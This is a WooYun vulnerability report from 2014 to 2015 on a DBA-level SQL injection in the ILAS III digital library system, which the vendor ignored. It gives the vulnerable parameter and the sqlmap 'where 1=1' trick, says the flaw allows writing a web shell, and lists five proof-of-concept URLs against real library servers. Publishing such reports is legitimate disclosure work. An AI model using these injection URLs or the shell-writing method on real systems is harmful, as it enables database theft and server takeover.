漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-084048
漏洞标题：ILASⅢ Digital library System DBA Sql Injection 3
相关厂商：深圳市科图自动化新技术应用公司
漏洞作者： 路人甲
提交时间：2014-11-24 01:02
修复时间：2015-02-22 01:04
公开时间：2015-02-22 01:04
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-11-24： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-22： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
ILAS数字图书馆存在一处DBA权限的SQL注入漏洞.可导致写shell
详细说明：
提交通用漏洞就像过着千篇一律的生活,似乎没有任何意义,但其实找漏洞我很累,不管是通用还是厂商，我需要足够的时间,每天的工作压力实在抽不出时间刷WB啊。
SQL注入点：
需要加入where 1=1 后sqlmap才能够认为这是一个注入,否则无法注出。
DBA权限是可以写shell的，可参考： WooYun: 某图书馆自动化集成系统注入导致可写shell
漏洞证明：
【免责声明：以下为漏洞报告非利用方式，仅供证明漏洞未获取任何有效数据，案例仅供国家互联网应急中心测试使用，其它人不可利用漏洞进行恶意破坏，否则后果自负，漏洞在厂商确认后均做打码处理，感谢您的支持与理解！】
TEST A:
http://211.66.188.4:8089/RdrRInforDetail.aspx?Notes=%E8%AF%BE%E9%A2%98%E8%B5%84%E6%96%99%E4%BF%A1%E6%81%AF%E5%BA%93&AcqSys=CN&Name=r_infor%20where%201=1&page=1
TEST B:
http://61.136.150.169/RdrRInforDetail.aspx?Notes=%E8%AF%BE%E9%A2%98%E8%B5%84%E6%96%99%E4%BF%A1%E6%81%AF%E5%BA%93&AcqSys=CN&Name=r_infor%20where%201=1&page=1
TEST C：
http://219.134.129.51/RdrRInforDetail.aspx?Notes=%E8%AF%BE%E9%A2%98%E8%B5%84%E6%96%99%E4%BF%A1%E6%81%AF%E5%BA%93&AcqSys=CN&Name=r_infor&page=1
TEST D:
http://210.26.144.10/RdrRInforDetail.aspx?Notes=%E8%AF%BE%E9%A2%98%E8%B5%84%E6%96%99%E4%BF%A1%E6%81%AF%E5%BA%93&AcqSys=CN&Name=r_infor%20where%201=1&page=1
TEST E:
http://lib.hnkjedu.cn/RdrRInforDetail.aspx?Notes=%E8%AF%BE%E9%A2%98%E8%B5%84%E6%96%99%E4%BF%A1%E6%81%AF%E5%BA%93&AcqSys=CN&Name=r_infor%20where%201=1&page=1
修复方案：
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝